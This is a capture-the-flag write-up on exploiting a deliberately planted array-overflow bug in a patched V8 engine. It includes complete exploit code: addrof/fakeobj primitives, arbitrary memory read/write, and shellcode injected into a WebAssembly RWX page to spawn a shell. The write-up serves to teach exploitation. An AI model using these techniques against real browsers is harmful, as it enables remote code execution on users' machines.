V8 Array Overflow Exploitation: 2019 KCTF Problem 5

Introduction to the KCTF Problem

Problem 5 – 小虎还乡 of the 2019 KCTF Competition provides us with a vulnerable v8. The v8 has an array overflow vulnerability. But this is not a native v8 vulnerability. Instead, the authors modified some v8 files and created this vulnerability manually. This post shows you step-by-step on how to exploit this vulnerability.

PoC of the V8 Array Overflow Vulnerability

0 var buggy;
1 var overwrite_length = () => {
2 let oob = new Date(-864000000 * 15000000);
3 oob = Math.abs(oob.getDate() - 16) >> 5;
4 buggy = [1.1];
5 buggy[oob * 4] = 1.1;
6 };
7 for (let i = 0; i < 0x10000; i++) overwrite_length();

The PoC code triggers the array overflow bug. The following explains how the PoC works.

Line 2 creates a Date object: Sun Jan -19 -408716 19:00:00 GMT-0500 (). At line 3, we use the getDate function to get the day number which is -19. -19 is the computed value of the day number. But the type value of the day number is Range(1, 31). The type value is in line with our common sense. Each month starts on the first day. The maximum number of days a month can have is 31 days. By comparison, the computed value -19 is apparently wrong. The discrepancy between the computed value and the type value gives us a chance to exploit the bug.

At line 3, after we subtract 16 from the day number, the computed value becomes -19 – 16 = -35 and the type value becomes Range(-15, 15). After we apply the abs function, the computed value becomes 35 and the type value becomes Range(0, 15). And after we shift 5 bits to the right, the computed value becomes (35 >> 5) = (100011 >> 5) = 1 and the type value becomes Range(0 >> 5, 15 >> 5) = Range(0, 0). So now, the computed value of the variable oob is 1 and the type value of oob is Range(0, 0).

At line 4, we create an array named buggy whose length is just one since it only has one element: 1.1. At line 5, we try to access the (oob * 4)th = (1 * 4)th = 4th element in buggy. This actually works although its length is only 1. But why does it work? – A crucial CheckBounds node is removed in the process of JIT optimization. The following are the details.

Normally, v8 generates and interprets bytecode. When the bytecode gets hot, aka is executed thousands of times, it gets optimized. Line 7 serves the purpose – it lets the function overwrite_length get hot and thus optimized. The optimization process starts with generating a “Sea of Nodes” graph using the bytecode. Each node in the graph is an operation such as calculating 1 + 1. The optimization process modifies the graph, e.g., it eliminates some nodes and adds some new nodes. The CheckBounds node mentioned above is also in the graph. The purpose of it is to check whether an index is beyond the range of an array. If the JIT compiler thinks that an array will never be accessed out-of-bounds, the CheckBounds node for the array will be eliminated. This is what happened in the PoC case. When we access the buggy array using the index (oob * 4), the JIT compiler looks at the type value of oob Range(0, 0) and decides that the index 0 * 4 = 0 will never access out-of-bounds. Therefore, the JIT compiler eliminates the CheckBounds node. After the optimized Seas of Nodes graph is translated into machine code, the code for checking out-of-bounds access is no longer there. Therefore, we can multiply the computed value by 4 to access out-of-bounds the 4th element in buggy.

You might ask what would happen if the CheckBounds node wasn’t eliminated. For example, there is an array “Arr = [1];” whose length is one. “console.log(Arr[2]);” will output “undefined” since there isn’t an element at index 2. “Arr[2] = 2;” will extend the length to 3 and assign the value 2 to index 2.

In summary, the discrepancy between the computed value and the type value caused the bug. We use the type value to cheat the JIT compiler and let it eliminate the CheckBounds node. We use the computed value to access out-of-bounds.

Idea to Exploitation

Here is a summary on how we exploit the v8 array overflow bug.

  • First, we use buggy to overwrite its length property. This enables us to stably read and write out-of-bounds.
  • Second, we implement two functions: addrof & fakeobj. addrof leaks the address of a given object. fakeobj fakes an object from a given address. The two functions rely on the interaction between buggy and an object array – obj_arr.
  • Third, we use the above two functions to implement another two functions: read64 & write64. They rely on a fake double-precision array – fakeFloat. By modifying the array’s “Pointer to Elements” property, we are able to read from and write to an arbitrary address.
  • Fourth, we use wasm code to create a function – f. V8 puts the code into a RWX page. We need to leak the address in the RWX page and inject shellcode into it.
  • At last, we execute the shellcode by calling the function: f();. The shellcode will create a shell. You will see the symbol $ in the terminal.

The following section elaborates on the above steps.

Actual Exploitation Steps of the V8 Array Overflow Bug

The following sections show you the exploitation step-by-step. Before reading the following sections, please read this post first, especially this section. You will find useful knowledge about V8 objects and their structures which are used a lot in the exploitation.

V8 Environment Setup

The section shows you how to build the vulnerable d8. There are two ways to set up the experimental environment.

  • Way 1. If you download the folder from here, you will see there is a vulnerable d8 in it. And you can directly run it: ./d8.
  • Way 2. Please first read this section about building v8. In order to build the vulnerable v8, you need to: 1) At Command 5, run this command: git checkout 2b0b80d286f15a7134d69254bb997ba78f1bc08f. 2) Download the folder in Way 1. 3) Before Command 8, run this command: git apply < date.patch. The date.patch file is in the folder.

Auxiliary Type Conversion Functions

var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var uint32 = new Uint32Array(buf);
function iadd(f, i) { float64[0] = f; let low = uint32[0] + i; if (low > 0xffffffff) { low &= 0xffffffff; uint32[1] += 1; } uint32[0] = low; return float64[0];
}
function i2f(high, low) { uint32[0] = low; uint32[1] = high; return float64[0];
}

The two functions iadd and i2f are used in the exploitation. iadd adds an integer offset to an address of floating-point format. i2f converts two 32-bit integers to a 64-bit floating-point number.

Prepare Objects in Memory

const new_length = i2f(0x900, 0);
var obj = { a: 1 };
var obj_arr;
var float_arr;
var buggy;
var overwrite_length = () => { let oob = new Date(-864000000 * 15000000); oob = Math.abs(oob.getDate() - 16) >> 5; buggy = [1.1]; obj_arr = [obj]; float_arr = [1.1]; buggy[oob * 4] = new_length;
};
for (let i = 0; i < 0x10000; i++) overwrite_length();
const fmap_offset = 15;
const oele_offset = 7;
const fakeFloat_offset = -48;

In the overwrite_length function, we have three array objects: buggy, obj_arr, float_arr. The three objects are allocated in the heap from low address to high address. Using the function %DebugPrint(), we are able to get the memory layout of the three objects:

buggy obj_arr float_arr
+0x00: (FixedDoubleArray Begins) … +0x10: (0th Element = 1.1) +0x18: (JSArray Begins) … +0x30: (Length = 0x900) +0x38: (FixedArray Begins) … +0x48: (0th Element -> obj) … +0x88: (JSArray Begins)(Pointer to Map)

obj_arr and float_arr are used in the following sections. Regarding buggy, we care about its 0th element and length property. The line of code “buggy[oob * 4] = new_length;” writes 0x900 to the 4th element in buggy. The 4th element is at offset 0x10 + 4 * 0x8 = 0x30. Since buggy only has one element, this is an out-of-bounds write. The length property in the JSArray object is overwritten to 0x900. Now that the length property becomes bigger, we can stably use buggy to do further out-of-bounds reads and writes.

The three offsets at the bottom of the code are introduced later. Please note that they probably change on different machines. You’d better use %DebugPrint() to figure out the memory layout and calculate the offsets.

Leak Addresses and Fake Objects

function addrof(obj) { obj_arr[0] = obj; return buggy[oele_offset];
}
function fakeobj(addr) { buggy[oele_offset] = addr; return obj_arr[0];
}

This section uses buggy and obj_arr. obj_arr is an object array. It stores addresses of objects. Each element in obj_arr is regarded as an object by v8. buggy is a double-precision array. It stores primitive floating-point numbers without any modifications such as pointer tagging.

In order to get the address of a given object, we need to first store this object into obj_arr, so that its address is an element of obj_arr. Next, we read the element using buggy because it doesn’t modify the address. oele_offset is defined in the code in section 5.3. It’s the offset from the 0th element of buggy to the 0th element of obj_arr. According to the objects layout in section 5.3, oele_offset equals to (0x48 – 0x10) / 8 = 7. The reason why we divide 8 is that each element occupies 8 bytes.

In order to fake an object from a given address, we first use buggy to put the address to the 0th element of obj_arr. Next, we use obj_arr to read the address. This will give us a fake object because the elements in obj_arr are always recognized as objects.

Arbitrary Reads and Writes

1 var fmap = buggy[fmap_offset];
2 var fakeArr = [ // fakeFloat consists of the elements. fmap, // Pointer to Map fmap, // Not Important, fmap is a placeholder fmap, // Pointer to Elements, fmap is a placeholder i2f(0x10, 0), // Length 1.1, // Not Important, 1.1 is a placeholder 2.2 // Not Important, 2.2 is a placeholder ];
3 var fakeArr_addr = addrof(fakeArr);
4 var fakeFloat_addr = iadd(fakeArr_addr, fakeFloat_offset); 5 var fakeFloat = fakeobj(fakeFloat_addr);
6 function read64(addr) { fakeArr[2] = iadd(addr, -0x10); return fakeFloat[0]; }
7 function write64(addr, data) { fakeArr[2] = iadd(addr, -0x10); fakeFloat[0] = data; }

What’s important in the code are the two functions: read64 & write64. They are used to access arbitrary memory addresses. Let me explain from the beginning.

fmap_offset is the offset from the 0th element of buggy to the “Pointer to Map” property of float_arr. According to the obejcts layout in section 5.3, fmap_offset = (0x88 – 0x10) / 8 = 15. Line 1 retrieves the Map property of float_arr.

At line 2, we save our fake object in the element area of fakeArr. The fake object is a double-precision array. We call it fakeFloat. Its structure, i.e. the elements of fakeArr should accord with the structure of a JSArray. What’s important about fakeArr are its 0th, 2nd, and 3rd elements. The 0th element is a Map property that indicates fakeFloat is a double-precision array. The 2nd element is a pointer to the element area of fakeFloat. We do arbitrary reads and writes by modifying the pointer. The 3rd element is the number of elements in fakeFloat. It doesn’t have to be 0x10. We use i2f to convert 0x10 to a floating-point number because fakeArr is a floating-point array.

Line 3 gets the address of fakeArr: fakeArr_addr. Line 4 adds an offset to fakeArr_addr so that we get the address of fakeFloat: fakeFloat_addr. How this works is shown in the following table. The table gives you the memory layout of fakeArr. According to the table, fakeFloat_offset = fakeFloat_addr – fakeArr_addr = 0th element address of fakeArr – fakeArr_addr = 0x10 – 0x40 = -0x30. After we get fakeFloat_addr, we use fakeobj to make v8 think that there is an object at the address fakeFloat_addr. So we have the fake object – fakeFloat now.

 
fakeArr
+0x00: (FixedDoubleArray Begins) ... +0x10: fmap (0th Element)(fakeArr[0])(JSArray of fakeFloat Begins)(fakeFloat_addr)(Pointer to Map) ... +0x20: (fakeArr[2])(Pointer to Elements) +0x28: (fakeArr[3])(Length = 0x10) ... +0x40: (JSArray Begins)(fakeArr_addr)

Line 6 defines read64 which does arbitrary reads. In order to read a memory region, we need to let the “Pointer to Elements” property of fakeFloat point to that region. Therefore, the property, i.e. fakeArr[2], should be set to addr – 0x10. Now the element area of fakeFloat begins at addr – 0x10. So addr – 0x10 + 0x10 = addr is where the 0th element of fakeFloat is located. So we are able to read the value at addr by fakeFloat[0]. About the 0x10: the element area of fakeFloat is a FixedDoubleArray. It has a header of 0x10 bytes before its elements begin. Please note that there were two element areas mentioned. One is of fakeArr. Another is of fakeFloat.

Line 7 defined write64 which allows us to do arbitrary writes. It has the same logic as read64.

RWX Page and Shellcode Injection

1 var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128, 128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0, 1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145, 128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110, 0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
2 var wasmModule = new WebAssembly.Module(wasmCode);
3 var wasmInstance = new WebAssembly.Instance(wasmModule, {});
4 var f = wasmInstance.exports.main;
5 var wasm_instance_addr = addrof(wasmInstance);
6 var rwx_page_addr = read64(iadd(wasm_instance_addr, 0x80));
7 var shellcode = [ i2f(0x2fbb4852, 0x99583b6a), i2f(0x5368732f, 0x6e69622f), i2f(0x050f5e54, 0x57525f54) ];
8 var data_buf = new ArrayBuffer(24);
9 var data_view = new DataView(data_buf);
10 var buf_backing_store_addr = iadd(addrof(data_buf), 0x20);
11 write64(buf_backing_store_addr, rwx_page_addr);
12 data_view.setFloat64(0, shellcode[0], true);
13 data_view.setFloat64(8, shellcode[1], true);
14 data_view.setFloat64(16, shellcode[2], true);
15 f();

Line 1 through line 4 is wasm-related code generated by WasmFiddle. Line 1 stores the primitive wasm code in an array. Line 2 through line 4 encapsulate it into a function f. After the encapsulation, the primitive wasm code is stored into a RWX page. And a pointer to the page is saved in the WasmInstanceObject’s structure.

Line 5 gets the address of the WasmInstanceObject. Line 6 follows into its structure and reads out the pointer.

Line 7 is the shellcode that we want to inject to the address which the pointer points to. The shellcode will generate a shell.

Line 8 through line 11 prepare an ArrayBuffer object. We set its backing store pointer to the rwx_page_addr. The 0x20 is the offset from the beginning of ArrayBuffer to its backing store pointer.

Line 12 through line 14 write the shellcode to the rwx_page_addr. At line 15, we execute the shellcode by calling f. And then you will see this symbol: $, which means a shell is generated.

Summary

The post showed you step-by-step on how to exploit a v8 array overflow bug – 2019 KCTF problem 5 小虎还乡. If you like this post, please help me share it on your social media. Thank you so much!

This UrIoTNews article is syndicated fromDzone